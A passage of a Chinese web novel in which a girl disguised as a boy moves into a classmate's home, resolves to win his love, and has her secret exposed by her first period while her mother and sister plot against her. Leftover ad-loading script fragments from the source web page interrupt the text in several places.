酥酥麻麻的感觉在白幺幺心中漾起,陌生又熟悉,她反应过激般的伸手想要推开前面的人。 就她的力气,要不是霍毅主动配合肯定推不动人的,他像是被推得重心不稳,重重跌坐在椅子上,发出一声闷哼。 推完人,白幺幺就后悔了,她慌乱的抬头,“你,哥,我不是故意的。” 霍毅同学这时倒打一耙起来,一脸不可置信“小乖,你推我!你是不是嫌弃我,不喜欢我的靠近,所以推我。” 白幺幺:“?!!” 有点茶言茶语怎么破? 还有小乖,怎么有种在喊猫猫狗狗的即视感,少年你认真的吗? 魔法只能用魔法来打败。 白幺幺摇头,一副被冤枉被误解的难过模样,“我知道,哥没有嫌弃过我,可是,也一直没把我看在眼里过,从来没有认可过我。” “如果……如果这次我没有勇敢的扑上去,可能过不了多久,哥身后就没有我的一席之地了。” “我知道的,要不是我一直死皮赖脸的跟在哥后面,想做哥跟班的人多了去,我一定是里面最不够格的,我……” “好了,别说了。” 霍毅猛地欺身上前将人抱住,“对不起,之前都是我的错。” 霍毅只是道歉,却没解释。 有些伤害,如果造成了,解释再多都显得苍白。 其实他是个相当念旧情的人,除非跟着他的人犯了原则性错误,或者自己离开,不然他不会主动舍弃或赶走谁的。 不过人会有这种误解,只能说他做的不够好。 “本来,本来就是你的错……呜呜……” 少年是原主人生中的唯一一道光,每天原主都活在光随时会消失的担惊受怕中,外界的声音与恶意,让原本就压抑灰暗的生活更加绝望。 白幺幺都可以猜到,就算原主没替少年挡刀而死,不久的将来,可能也会自我了结生命的。 “乖,别哭了”,他语气郑重的许下承诺,“一辈子,我许你一辈子跟着我,好不好。” “呜…嗝”,白幺幺短暂停止哭泣,“哥,你,谁要一辈子都替你卖命,哼,周扒皮都没你这样的。” 霍毅知道对方误会了,不过他并没有解释。 口头上发泄完心中对少年的怨气,白幺幺继续埋头哭起来,她有种感觉,这次彻底哭个够,将迎来新生的感觉。 失眠人的,大哭一场,保准好眠。 没办法,谁让哭其实是个力气活,体能消耗大,还会导致脑部缺氧,脑供血不足。 白幺幺哭着哭着,直接睡着了。 霍毅还是久久没听到声响,才发现的。 轻轻将人放到床上,低头扫了眼胸前湿的一大片,轻笑道:“果然是水做的。” 病房外,霍毅简短的和白父说了几句,只是许出点利益,儿子什么的就不重要了,真的不重要了。 反正只是住到霍家去,又不是改姓霍了。 当然,如果真有机会改姓霍,白父也是可以考虑下的。 辰东同学自告奋勇的要跟着去白家,帮忙拿下行李。 他心里其中多少有些自责愧疚的。 有些情绪就是这样子,对无关紧要的人生不出来,但这人只要和自己有了不一样的关系,再回顾以往,总是会生出些不一样的情绪。 所以,白幺幺是被人抱着出院的,一路上睡得跟死猪似地,被人拉去卖了都不知道。 等她再次醒来时,惊悚的发现有人要脱她衣服……< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 之前是脱裤子,现在升级脱衣服了!! 白幺幺噌的一下子从床上坐起来,双手齐用,紧紧护在自己的胸前。 本身就长得瘦弱,又因长期裹着束胸,胸部多少有点发育不良,目前只能说是两个小笼包。 穿着宽松的衣服,没什么感觉,但脱光了看,傻子也能发现端倪的。 “霍毅,你干嘛脱我衣服?” 白幺幺身体往后缩,防备的瞪着人。 都是她们合欢宗脱别人衣服的,这人一而再的,不是要脱她裤子,就是要脱她衣服,简直太过分了。 霍毅没想到人会突然醒来,反应那么大,还……用那种眼神看他,知道这时候要长嘴解释,不然后面跳进黄河也洗不清了。 “不是,小乖,你听我说,我就是想帮你把医院的病号服换下 来,这衣服一直穿着晦气。” 出院时,他怕吵醒人,一直也没想起要让帮人把医院的病服换下来。 回来后,他妈看到他把人拐回家了,只是看他怀中人一眼,又深深看了他一眼,知子莫若母,什么话也不用多说。 只是在他要抱着人上楼时,他妈的声音才传来。 “怎么把医院的病号服穿回来了,等下记得赶紧让人换下来。” 因着霍母这话,也就有了白幺幺惊醒后的一幕。 这时白幺幺才发现她已经没在医院病房了。 “这里是?”她问。 “我家。”霍毅回答得理所当然。 白幺幺:……所以她是没有人权的,她的想法一点都不重要。 莫明有些生气怎么办? “你出去,我自己换。” 也不管这是人家的家,白幺幺就是有点想发脾气。 “好,好吧。” 临出去前,霍毅回头像个老妈子交代道:“有去你家帮你拿了行李,还有行李是阿姨亲自打包的,她说你不喜欢别人碰你的东西,叮嘱过,其他人不要碰,行李等你醒来自己收拾,所以行李还放在衣帽间,我没让人动过。” “你换完衣服后,可以去看下,还缺什么和我说,咱们买新的。” 第54章 校霸和他的女扮男装小跟班(28) 她房间里有不少见不得光的东西,打着男孩子不能娇宠的育儿理念,为了培养她的独立性格,从小她就要开始学着自己独立收拾房间,应该是六岁吧,六岁以后就没再让佣人进过她的房间。 白母自己亲自收拾行李,还如此叮嘱,不过就是怕她房间里某些不该出现的东西被人看到,引起没必要的误会和猜疑。 白幺幺摆烂了,反正她又不可能当一辈子男人,秘密总归将不是秘密,只是时间问题。 她挥挥手表示知道了,示意霍毅赶紧走。 等人离开,她才身体后仰,虚靠在床头,伸手捏了捏眉心。 这一路她之所以睡得那么死,不完全是因为哭狠了,人太累。 主要还是因为她的意识在这期间回了一趟世界管理局,和原主的残留意识见了一面。 照理说,原主在白幺幺接手身体时,就已经去投胎了,只不过这次的世界原主有点特殊,因为从小的遭遇,让她患上一定精神疾病,具有双重人格。 主人格投胎去了,副人格执念太深,还残留在身体里,这是个bug,就算不用世界管理局干预,副人格肯定躲不开彻底消失的问题,不过是时间问题。 应该是副人格执念太深,世界管理局给了她机会,让她和白幺幺正式见一面。 经过几个世界,白幺幺的经验有限,却很好学,善钻研。 她一样心有执念,所以对待世界管理局给的任务更虔诚和认真,而且她是个心思异于常人的。 已经开始转换心态,既把任务当任务,又不把任务当任务。 当然,她暂时有个疑问,就是各个小世界存在的问题和机制,以及世界管理局既然给这些炮灰工具人机会,却又为什么不让她们重生回小世界中,亲自去改写自己的人生。 而是让像她这种异世之魂来代替她们进入小世界,替她们完成心愿,怎么说……算是一种双赢的局面吧! 白幺幺心中有疑问,但不影响她继续去小世界做任务,毕竟她没得选择不是吗? 她也是自私的,如果让小世界的原主们自己回去,那她上哪去做任务,更别说完成她心中执念了。 不过,她开始改变心态,把小世界当自己漫漫人生路的一部分。 局外人,局中人,随心罢了,怎么开心怎么了来。 人生如戏, 戏如人生,这不就是生活,不就是活着。 白幺幺以为原主的副人格想见她,不会是想改愿望之类的,心里想着世界管理局应该不会允许这种操作的。 不过她想错了,副人格人格见到她的第一时间是向她弯腰致谢,软软糯糯的白嫩小姑娘,头发一样还是短发,瞧着很乖萌。 她没向白幺幺提什么要求,或者是想改动主人格的愿望。 她只是睁着亮晶晶的大眼睛,泪眼汪汪的看着白幺幺,像是鼓足了很大的勇气,才小小声声道:“姐姐,霍毅他真的很好很好的,我好希望他能一辈子幸福啊!” 白幺幺:太犯规了有没有! 小姑娘很聪明,明明是个可人疼的,就因为母亲的自私,父亲的不称职,委委屈屈的草草结束了一生,真的很可惜。 “所以了?” 白幺幺故意逗弄小姑娘。 整齐的贝齿轻咬着粉嫩唇肉,小姑娘什么情绪全写在了脸上,酝酿了许久,最后憋出一句,“没,没有事了,谢谢姐姐,我要离开了。” 白幺幺:……就这样?! 人家还真是说要离开就真的离开,只见眼前的人影开始透明化。 白幺幺心里一慌,“你……放心,霍毅他这辈子一定会很幸福的!” 小姑娘的人影彻底消散前,白幺幺看到这世间最干净最灿烂的笑容,小姑娘脸上洋溢的。 “真是的。” 白幺幺的也笑了,无奈的,也真心的,还有一丝丝的心疼和遗憾。 白幺幺恍然明白了原主也就是主人格的第一个愿望,有趣,真的很有趣,她应该也是知道副人格存在的吧。 既然答应人家小姑娘了,她白幺幺向来重诺。 如何能保证霍毅一辈子幸福,最简 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 单不就是他的幸福她来给。 有点难办啊。 原主的第二个愿望,找一个爱她如命,危险来临时能毫不犹豫挡在她面前的另一半。 所以……她要让霍毅爱上她,还是那种很爱很爱,利刃刺过来时,能奋不顾身挡在她身前。 怎么办,白幺幺并不排斥在这个世界和霍毅谈场甜甜的恋爱,然后一起幸福一辈子。 虽是做任务,但真没必要苦大仇深的,偏执的只把自己当小世界看客。 完成任务的同时,好好体验人生,享受幸福不香吗。 很快到午餐的时间。 霍毅在门口敲门,“小乖,吃饭了。” 开门后,白幺幺没有第一时间出去,而是打量起眼前少年来。 之前没往这方面想,现在仔细一看,果然很适合做她们合欢宗的人。 当小孩视线扫来时,霍毅下意识的挺直了腰背,像是等待检阅的士兵,瞬间把精气神调整到最好。 白幺幺心里满意极了,面上却不显, 继续她的人设。 “哥,我这样来你家住下,会不会很打扰,叔叔阿姨……” 没等她说完,霍毅抢道:“不会,你只管安心住下,我的家人他们都很欢迎你,也很喜欢你。” “走,下楼吃饭,我妈让厨房准备了很多菜,你都尝尝,喜欢哪道和我说,以后就让厨房经常做给你吃。” 就这么把人拐回家了,霍毅到现在其实还隐隐有点不真实感,他和小孩从今天就要开始同居生活了。 听到好多菜,白幺幺眼睛抑制不住的亮了亮。 之前还觉得住进霍家不好,容易暴露秘密。 现在吧,白幺幺简直觉得这操作不要太好了。 既能每天吃到御厨做的菜,还方便她近水楼台先得月,勾引到某人,让人不知不觉爱上她,爱到无法自拔。 完美啊! 白幺幺同学心里美滋滋,情绪是会传染的,她旁边的霍毅同学也感受到了,不知不觉的唇角跟着微微翘起。 第55章 校霸和他的女扮男装小跟班(29) 霍家人很友好,相处的度把握得恰到好处,既让白幺幺感受到对她到来的欢迎,又没有太热情,让她觉得不自在。 担心她第一天来到个陌生的环境会失眠,霍母还叮嘱了厨房,晚上八九点的时候记得热杯牛奶送到楼上给她喝。 房间是临时安排整理出来的,有点仓促,不过该有的都有,就在霍毅隔壁,整体黑白灰色调,简单中不失低调温馨。 十点一到,白幺幺开始赶人。 晚饭后,霍毅同学就不请自来的到她房间里赖着不走,都还是学生,一起能干嘛,当然是学习。 白幺幺是真的爱死了学习,不管是物理化,还是史地生,她就像一块海绵,不断地吸收着小世界的新知识。 这个世界的高中生经常挂嘴边的话,什么学好物理化,走遍天下都不怕;什么学好物理化,穿越都不怕;什么学好物理化,掉遍黑坑都不怕…… 总结一句话,知识就是力量,想变得更强大,多学准没错。 而在绝对的实力面前,任何阴谋诡计都是纸老虎。 沉浸在学习中,时间过得很快。 霍毅同学不舍的扒着门框,“小乖,你早点睡,要是睡不着,可以打电话给我,我马上过来,如果我睡着了没接到电话,你也可以直接到我房间里来,我睡觉不锁门的。” 白幺幺:“???” 睡不着找他干嘛? 是让他过来给讲睡前故事,还是给唱摇篮曲。 那为何要如此麻烦,干脆不会先把她哄睡了,再离开。 白巨婴幺幺对少年发出灵魂拷问,“哥,你睡眠故事讲得很好吗?或者是摇篮曲唱得很好吗?” 霍妈妈毅愣了足足三秒,眼里冒出跃跃欲试的光彩,嘴上还是记得谦虚点的,“就,就还行。” 白幺幺:“……” 捧场帝白幺幺登场,“哇,哥你好厉害,这些都会。” “嗯,哥,你快回去睡吧,我也睡了,如果真不着,我就过去找你。” “睡不着,一定要过来找我” “嗯嗯,我会的。” 白幺幺关上门,困意适时来袭。 失眠是不可能失眠的,当下没多久她就睡着了。 她这边睡得香甜,隔壁的某人却失眠了。 一夜好眠,白幺幺是被晨练回来的霍毅同学叫醒的。 白幺幺是有晨练习惯的,不过目前身体还不适合激烈运动,所以她就没定闹钟。 霍家的大人都很忙,白幺幺下楼的时候,都已经出去了。 吃早餐的时候,辰东三人结伴过来霍家,找霍毅和她一起去学校。 三人自来熟的找个位置坐下,都还没吃早餐,让添副碗筷,也跟着吃起来。 白幺幺吃得很专注,只是在三人让添碗筷时,抬头扫了眼桌上食物的份量,确认过够她吃饱饱的,就继续埋头吃。 没办法,人生最重要的事情,那就是好好吃饭。 白幺幺吃得慢,其他人很快吃完后,她就成了餐桌上的一道风景。 多双眼睛看着,白幺幺依旧淡定的吃着。 等她吃下最后一个蟹黄小笼包,拿起旁边湿巾擦嘴时,辰东同学朝着她啧啧感叹道:“你小子看着不是个能吃的,没想到饭量这么大,不过你一直吃这么多吗?那你吃的东西都跑哪里去了,怎么都不长肉也不长个的。” 白幺幺:“……” 知道这人说的话真只是字面上意思,她并没有放心上,就是下意识低头往自己胸前扫了眼。 大人的自私,不应该成为她做自己的枷锁,她不是男孩子,她就是个女孩子。 早上穿衣服的时候,白幺幺并没有继续裹束胸带,而是穿上一件运动背心。 女人么,就没一个不在乎自己身材的。 至于被发现自己是女的,一切顺其自然,发现就彻底做自己呗。 见她低头不说话,辰东同学莫名有点慌。 霍毅刚好坐他对面,抬脚踢了下他小腿,没好气道:“就你话多,只长个不长脑也没用。” 辰东:“……” “哥,我的亲哥,不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 待你这么人身攻击的。” 辰东同学委屈不过三秒,因为白幺幺已经起身要去拿书包了,不过被霍毅眼疾手快抢走。 李明义和张泽凯也忙拿着书包跟上,辰东同学能怎么办,当然也是赶紧跟上大部队。 到了学校,一行人引起不小的轰动。 没办法,霍毅四人在学校就是名人存在,再加上白幺幺这个新晋的名人,能不轰动才奇怪。 没错,白幺幺成为名人了,既不怕死的替霍毅挡刀后,又发生医院跳楼自杀的那个乌龙,她不出名谁出名。 媒体那边已经有人交代过,降低热度,削弱影响,同时解释清楚人家小同学没有要跳楼自杀,完完全全是个乌龙。 对外是解释了,可是大家信不信,那就是仁者见仁,智者见智了。 碍于霍毅他们四人在,周遭人只是时不时投来打量的目光,然后人凑在一起窃窃私语。 有点距离,声音控制的很小,所以白幺幺是真好奇他们在说什么,可惜听不到。 辰东 不知道什么时候走到白幺幺左侧,把手搭在她肩上,一副哥俩好的模样,“小白,我和你说,别理会周围的……” 白幺幺都没还动手把肩上的胳膊弄掉,有人已经快她一步了。 “你说话就说话,别动手动脚的,不看看你那胳膊多粗壮,是能随随便便往别人肩膀上搭的吗。” 说完,霍毅还朝人投去一个嫌弃的眼神。 辰东:……为什么受伤的又是他! 白幺幺:……怎么办,又是那种莫名的笑意袭来,好想笑。 走在最后面的李明义和张泽凯彼此对视一眼,皆在对方眼中看到了无奈笑意。 学生主要任务还是学习,特别是高中生,前面还有高考这座大山需要攀爬越过。 不管什么新闻,热度总会随着时间慢慢降下来,在学校这种地方就更快了。 没办法,大家普遍都在卷生卷死卷学习,你哪怕自己不学,也不好意思天天拉着人聊八卦,还是那种陈芝麻烂谷子的八卦。 第56章 校霸和他的女扮男装小跟班(30) 学习的时间过很快,上课,作业,刷题,白幺幺那是觉得每天时间都不够用。 勾引,培养感情。 嗯,不急,等上大学再说吧! 白幺幺最近沉迷上网络编程,回家完成当天作业后,就开始对着电脑敲敲打打的,简直忙到飞起。 没办法,代码的魅力就是这么强。 被冷落的霍毅同学是真的很想过去把键盘抢了,可是他不敢。 任何时候的小孩都是好说话的,唯独专注学习时。 时光匆匆,一个学期晃眼间就到期末了。 经过几个考试,白幺幺成绩已经赶超成绩最好的李明义,上一次月考拿了年级第一。 李明义年级第二,霍毅年级第八,张泽凯进步也很大,考了年级五十三。 倒是辰东同学跟着卷学习了一段时间,成绩是几人里面进步最大的,考进了年级前三百名。 嗯,刚好第两百九十九名,足足进步了三百多名。 这可把辰父高兴坏了,据说当晚多喝了好几杯,大半夜不睡觉,对着家里供着的祖宗牌位傻笑,时不时蹦出句“祖宗保佑,咱们老辰家终于要出个读书人了!” 辰东同学半夜口渴起来倒水喝,听到声响,还以为家里遭贼了,没想到循着声音,猫着腰小心翼翼靠近,往里面一瞧,哪里是什么进贼,而是他那醉酒的老爹。 隔天,辰东同学就把这当笑话说给好兄弟们听,当时白幺幺在喝水,真的没忍住笑喷了。 这坑爹的儿子啊! 白幺幺在霍家住的这段时间,白母一开始还会经常打电话过来表示关心,并隐晦的提醒她要注意别暴露了。 至于白父,她一个电话都没接到。 而白宝珠这个妹妹,一开始有打过几个电话,不过两人似乎没什么好聊的,慢慢的,也就没打来了。 除了电话联系,白家三人都没来霍家看过她,也不知道是都太忙,还是其他。 期末考完,就是暑假,因着下学期要进入高二,学业加重,班主任们生怕同学们暑假玩疯了,站在讲台上叮嘱着,回去暑假作业好好做,有条件的,高二的课业提前预习下。 放假的第一天早上,白幺幺接到了白母的电话。 “明天回家一趟,你们不是下学期就要升高二了,你妹妹提议说想一家人出去玩几天。” 白幺幺想了想,回道:“没时间。” 最重要的是和白家人一起出去玩,她不觉得能玩得开心。 或许是第一次被白幺幺如此直白的“忤逆”,白母愣了好一会儿,下意识端起长辈架子,“你怎么和我说话,我是你妈,你怎么变成这副样子了!” 白幺幺:“???” 她从头至尾就说三个字,两人已经有快三个月没见,隔着电话线,对方都能脑补出她现在是哪副样子?! 白幺幺低头,很满意,养了几个月,长肉了。 她当然知道白母说的不是她想的意思,只是那又怎么样。 原主的愿望只是让很多人喜欢,又没有明确要白家人的喜欢。 “妈,没事我挂了。” 生养之恩,让白幺幺不会对白家人做什么过分的事,但这些人也别影响她过幸福的生活。 “等等,你忘了明天是什么日子了吗?” 白母着急的声音传来,其中透着点不可置信,还有责备与难受,全因白幺幺竟然忘记了明天是她这个当妈的生日。 也不想想她当初生这两孩子时多遭罪,白父体谅和感恩这个妻子给他生了一对龙凤胎,因此十分爱重她,每年都会精心给她过生日。 经小女儿的提议,一家人计划明天给她过完生日,后天全家出发去国外玩一周,刚好两孩子要升高二了,后面要专注学业,趁着这个暑假好好玩玩。 经白母这么一提醒,白幺幺认真一想,还是想起来了。 “记得,妈你的生日。” 白母一副不和孩子计较忘记亲妈生日的态度,“记得就好,那你明天回来吧,你也知道,妈妈不是爱热闹的人,明天就简单办两桌。” “对了,你妹妹明天邀请了几个玩得好同学过来,你要不要也邀请几个?” 白幺幺沉默了。 白母是个沉不住气的,“你在霍家打扰 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了人家几个月,你看要不明天把霍毅那孩子邀请到咱家来,嗯,和霍毅玩的几个孩子也一起邀请上。” 或许是觉得白幺幺彻底攀上了霍家,白母已经自己顺杆子上爬,亲切的喊上人名了。 白幺幺第六感很强的,总觉得白家人没憋什么好屁。 想了想,她回道:“行,我明天回去,不过后天的出行,我就不一起去了。” 白母:“……” 想着小女儿的话,她就先不和人在电话里掰扯这些,“行,你明天早点回来,其他后面再说。” 白幺幺才挂断电话,身后就响起一道声音。 “明天阿姨生日,你要回去。” 白幺幺回头,这人什么时候过来的,幸亏她胆子大,不然肯定被吓到。 “嗯,我妈还让我顺便邀请下你们。” “好啊,我明天和你一起回去,阿姨喜 欢什么?我现在去准备礼物。” 反正只要让他跟着,让小孩回下家也不是问题。 白幺幺想了想,道:“不用准备什么太贵重的,随便买条银……金项链就行。” 算是间接害死自己女儿的妈妈,原主离开时灵魂很纯净,对白母没有恨意,她不是原主,自然更不会对白母产生恨意。 不只是白母,白家所有人也就是和她有血缘关系,仅此而已。 “好,我听小乖的。” 白家人对小孩又不好,霍毅本来就没打算送太好的东西,现在小孩说了,他当然听话行事。 “走,下楼吃饭了。” 白幺幺率先走在前面。 霍毅忙屁颠屁颠的跟上,视线紧紧黏在前面人儿身上,只是目光不经意扫到某处时,神色忽的一变。 想到某种可能,神情渐渐变得不自然起来。 手臂突然被扯住,白幺幺回头疑惑的喊了声。 “哥?” “那个,小乖,你……别怕……” 霍毅同学头一次被难到了,不知道要怎么开口和小孩说,长痔疮没什么的,痔疮破了流点血也不是什么大事,最重要的是不能讳疾忌医。 第57章 校霸和他的女扮男装小跟班(31) 白幺幺:……就一脸的莫名其妙。 不是,她要怕什么? 在脑中斟酌了好几遍措辞,霍毅才指着小孩的裤子建议道:“小乖,你先上楼换下衣服,等下我和你去医院让医生看看。” 白幺幺低头去看自己的裤子,至于为什么又扯到去医院啥,先不纠结。 她今天穿的是套宽松t恤配白色短裤的居家服,白色的裤子就是这样,沾上一点污渍就特明显,更别说是沾到血。 血? 良久白幺幺才反应过来,脸刷的一下红了。 原主之前一直有吃影响身体激素的药,导致原主上高中了还没来例假。 白幺幺来后就没吃药了,至于例假这事,还真被她忘到九霄云外了。 所以,她就这么暴露女孩子身份了。 之前不是没想过少年发现她是女孩子的画面,不过现在这么平静,表情还有点怪是她没想到的。 “不用去医院,我上去换下衣服,不过要麻烦哥你出去帮我买下那个东西,日用夜用都要哦。” 白幺幺很快恢复淡定,不就是来例假,正常的生理反应,脸红个啥。 霍毅同学很纠结,小孩果然还是讳疾忌医了,可是有病还是要看医生的,对症拿药,不要自己去乱买药来用。 白幺幺转身准备回房,见霍毅还杵在那不动,心想这孩子不会不好意思去买那东西,想打退堂鼓吧! 那可不行,他不帮忙去买,那谁去帮她买。 自己是女孩子这件事,白幺幺是抱着顺其自然被发现就发现了的心态,但绝对不是现在这情况。 想到被太多人围观她来初潮的画面,莫名有点羞耻感,她白幺幺不要面子的吗? 不过让个大男孩去帮她买那东西确实有点难为人,白幺幺纠结了下,决定使出杀手锏。 白幺幺用撒娇的语气道:“哥,你先别站着发呆呀,快去帮我买,如果不知道买什么牌子的,可以让店员推荐,不然直接选最贵的,然后先买个两三个月的量。” 这…… 霍毅陷入为难中,他犹豫再犹豫,还是道:“小乖,我们还是不要随便乱用药,长痔疮而已,不是什么大病,我陪你一起去给医生看看,到时让医生给你对症开药。” what! 白幺幺风中凌乱了。 “呵呵!” 白幺幺咬牙瞪着人,一字一顿道:“霍毅,你好样的!” 还以为这小子透过现象看本质,看穿了她是个女孩子的事实。 痔疮啊,他还真敢想。 那怎么不更敢想点了。 霍毅同学无辜的眨了眨眼,他觉得自己没说错话呀,不明白小孩怎么就突然生气了。 白幺幺:“……” 算了,不生气。 东西,她换完衣服自己出去买下就是了。 “小乖,你……” “我上楼换下衣服,你别跟过来。” 被留在原地霍毅:“……” 纠结了好久,他回到房间拿出手机拨通了个号码,向电话那头的某专家咨询的很久。 在专家再三确认,痔疮破了血流不严重的话是可以自愈的,没有其他异常情况可以不用去医院,他才稍稍放下心来。 最后让某专家推荐几款药膏,才结束通话。 当天晚上收到某人贴心送上的几款治疗痔疮的药膏,白幺幺本就因来第一次也是第一天来例假,有些惨白的脸更白了,额头青筋隐隐还突突跳了两下。 砰的一声,毫不意外的,霍毅同学被关门外了,手里拿着的几盒药膏最终肯定是没能送出去。 被拒之门外,霍毅并没有生气,相反的他很担心,刚刚他可是看到小孩的脸色不是很好。 只是他似乎好心办坏事,把小孩惹生气了。 他真的挺懊恼的,也是下午自己上网查了很多关于痔疮的相关内容,第一次知道这么个词——谈“痔”色变。 越是了解得多了,他越是觉得自己平时对小孩的关心少了。 这一晚上,两人注定都休息不好。 白幺幺那是姨妈惹的祸,霍毅则是担心着白幺幺那边的情况。 第二天,两人的精气神明显很差。 下楼吃饭时,霍母还没出门,关心的问道:“你们俩昨晚都没睡好?” 白 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 幺幺挤出抹难为情的羞涩笑意,“谢谢阿姨关心,我就是昨天冰西瓜吃多了,半夜闹肚子,所以没休息好。” 霍毅:“……” 小孩明显还气着了,他哪里敢说实话。 “嗯,我也一样,西瓜吃多了。” 霍毅因着注意力都在白幺幺身上,扯个谎都说的不怎么走心。 霍母:……这两孩子有情况啊,她虽然好奇,却不是那种喜欢刨根究底的家长。 和霍母告别,两人出发去白家。 白母打着让白幺幺将霍毅以及李明义三人都邀请过去,其目的不言而喻,白幺幺可不会满足白母的算计。 霍毅还是自己听到她讲电话,而且她知道自己不带上这人,这人也会自己找各种理由跟上的。 一上车,白幺幺就开始闭目养神。 大 热天的来例假,这具身体还体弱,虽不至于像有些会痛经的,严重点都要吃止疼药,但小腹时不时传来的那种坠胀感还是挺让人不舒服的。 也就是白幺幺闭上眼睛后,霍毅才敢光明正大的打量起小孩来。 仔仔细细瞧了很久,确认脸色比昨晚看到的好很多,心下才稍稍松了那么一小小口气。 白家。 白母站在阳台上看向别墅大门方向,心中有些忐忑和担忧。 这时白宝珠来到她身后,轻声唤道:“妈,你怎么不进屋坐着,哥应该快到了吧。” 白母回头,拉起女儿的手,一副欲言又止的模样。 猜到她可能要说什么,白宝珠回握住她的手,安抚性的紧了紧力道。 “妈,开弓没有回头箭,当年你能果敢的做出正确决定,这次我相信你也一样。” 白宝珠的话并没有起到很好的效果,白母心里还是很不安,她张了张唇,声音压得极低道:“要不我们再从长计议下,那毕竟是霍家,稍有……” 白母还没说完,嘴就被一只手附上,白宝珠同样低声道:“妈,你赶紧整理好情绪,别等下人来了,我们计划还没开始,就先让人瞧出端倪来。” “还有你放心,我们计划得很周全,就算出了意外,不是还有……姐姐!” 第58章 校霸和他的女扮男装小跟班(32) 最后的两个字,白宝珠咬得极重。 惊不惊喜,意不意外。 她的龙凤胎哥哥一下子变成了双胞胎姐姐。 呵!厉害了她的好妈妈。 事情要从两个月前的某个天朗气清的早上说起。 白宝珠和同学约着出去逛街,路上发现忘记拿前几天应下要送给人一个珍藏手办,就让司机折回去。 拿了东西匆匆要出门时,路过花房听到妈妈在和哥哥讲电话,白宝珠只是厌恶的皱了下眉,根本没想过要偷听。 可就在她要走开时,某些话就这么传入她耳中。 “你,药有每天吃吗?快吃完的时候,记得提前和我说。” “还有束胸带除了睡觉才能解开,其他时候一定要带着知道吗?” “妈知道委屈你了,可是这能怨谁,要是你自己争气点,真是个儿子……” 砰的一声,白宝珠手中装着精美手办的礼盒落地。 被突然的动静吓白了脸的白母惊慌回头,手也无意识按掉了电话。 白母隐藏了多年的秘密就这么被白宝珠知道了。 怎么形容白宝珠当时的心情,不夸张的说,应该是把她从小到大产生过的情绪全都过一遍,一时都找不出个贴合她此时心境的。 人就是种很奇怪的生物,之前觉得白承继当不好哥哥,还不如是个姐姐。 可当想法成真,白宝珠发现不管是哥哥还是姐姐,她都不喜欢,觉得爸妈还是只有她一个孩子就好。 白宝珠从小就是个情商高,有主见的,不然也不会让白父越来越宠着她,慢慢忽视她哥哥这个儿子。 或许其他有钱人家小姐可能被那些要家世没家世要钱没钱的凤凰男骗身骗心,她则是绝对不可能的。 她白宝珠找男人,首先看家世,没能生在本家是她这辈子最意难平的。 在不知道白承继真实性别时,白宝珠自信自己一直是稳坐钓鱼台的那个。 能通过他哥的妹妹这层身份,直接拿下霍毅最好,不行退而求其次,不是还有李明义、张泽凯、辰东三人做备选。 还有,如果她那哥哥真的不要脸的去勾引霍毅,两个……恶心玩意最后真搅在一起,她的机会不是又来了。 她真的不介意当两人的挡箭牌,替霍家传宗接代。 从始至终,白宝珠都清楚自己要的先是财富地位,再是情爱。 只是她的好哥哥怎么就变成好姐姐,直接将她心中的谋算打乱了。 白宝珠承认她嫉妒得发疯,却又不得不承认,她的好姐姐有着得天独厚的优势去获得她所追求的东西。 手上传来的拉扯力让白宝珠从思绪中回神,她顺着白母的视线看向楼下。 似是白宝珠的话起到了作用,白母此时情绪已经调整得恰到好处。 从阳台上看到车上只下来了两人,白宝珠母女俩脸上同时露出淡淡的失望之色。 白幺幺走在面前,霍毅像个小媳妇,亦步亦趋的跟在她后面。 两人进到客厅时,刚好和下楼的白母俩迎面对上。 白母热情的上去招待霍毅,至于白幺幺,暂时被晾一边。 白宝珠倒是和白母相反,她像只花蝴蝶扑向白幺幺,“哥哥,你有没有想我,我可想你了。” 近身后,她亲昵的想去挽白幺幺的胳膊,嘟着嘴小声抱怨“你怎么去了霍毅哥哥家就直接乐不思蜀,那么久都不回来看看爸爸妈妈和我,我们可都想死你了。” 白幺幺脸色不怎么好的避开白宝珠的手,她现在真的是谁都不想应付。 要不是事先答应了白母,她今天就想在床上躺一天。 脸上的笑意僵了一瞬,白宝珠有些受伤的收回手,站在白幺幺旁边,一副不知所措的模样。 这幕刚好被下楼来的白父看到,斥责的话脱口就来。 “逆子,刚回来就欺负你妹妹,我以前就是教你这么做哥哥的,还不快和你妹妹道歉。” 白幺幺:“……” 碍于礼貌,送上礼物后,霍毅还稍稍耐着性子听白母废话。 白父斥责声一响,他淡淡朝白母点了头,眨眼功夫就挡在白幺幺身前,替人挡住白父那要刀人的视线。 可能是心中有鬼,还考虑到等下的计划,白宝珠和白母同时向白父走去,母女俩齐上,很快将白父情绪安抚好,直接开怀大笑。 那边一家三口其乐融融,白幺幺看了无感,身体的不适让她都没啥战斗力。 霍毅在旁边看得心疼极了,对白家人的不喜已经升级到厌恶,他情不自禁的伸手握住小孩的手。 好冰! 等了一秒,见小孩没有将自己手抽离,霍毅摊开手掌,将小孩冰凉凉的小手完全包住,想用这种方法将那小手捂热些。 白幺幺有想过把手抽出来的,不过少年手很温暖,温暖到她都想牵着那手附在自己小腹上了。 白幺幺做女人这么久,以前来例假真的就跟没来一样,身体没有任何一点不适。 像这次这样,来例假不痛。 嗯,或许是痛的,而她刚好很能忍痛,反正她现在是浑身各种不舒服,而这种情况她是第 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一次经历。 挺后悔买姨妈巾时,没把瞥过一眼的暖宫贴也顺便买点备用。 不远处的白宝珠将两人的动作收进眼中,各种情绪迸发,简直快把牙齿咬碎了。 陆陆续续的开始来客人,有认出霍毅的,虽没冒失的上前献媚,但打量视线总是时不时偷偷投过来,同时对白父和白母更高看了几分。 白幺幺没什么胃口,出于礼貌问题,忍着吃完最后一道菜,之后就是切蛋糕环节。 不想继续待着了,她和白母提出要离开的意思。 白母:……这怎么行,她和珠珠的计划还没开始。 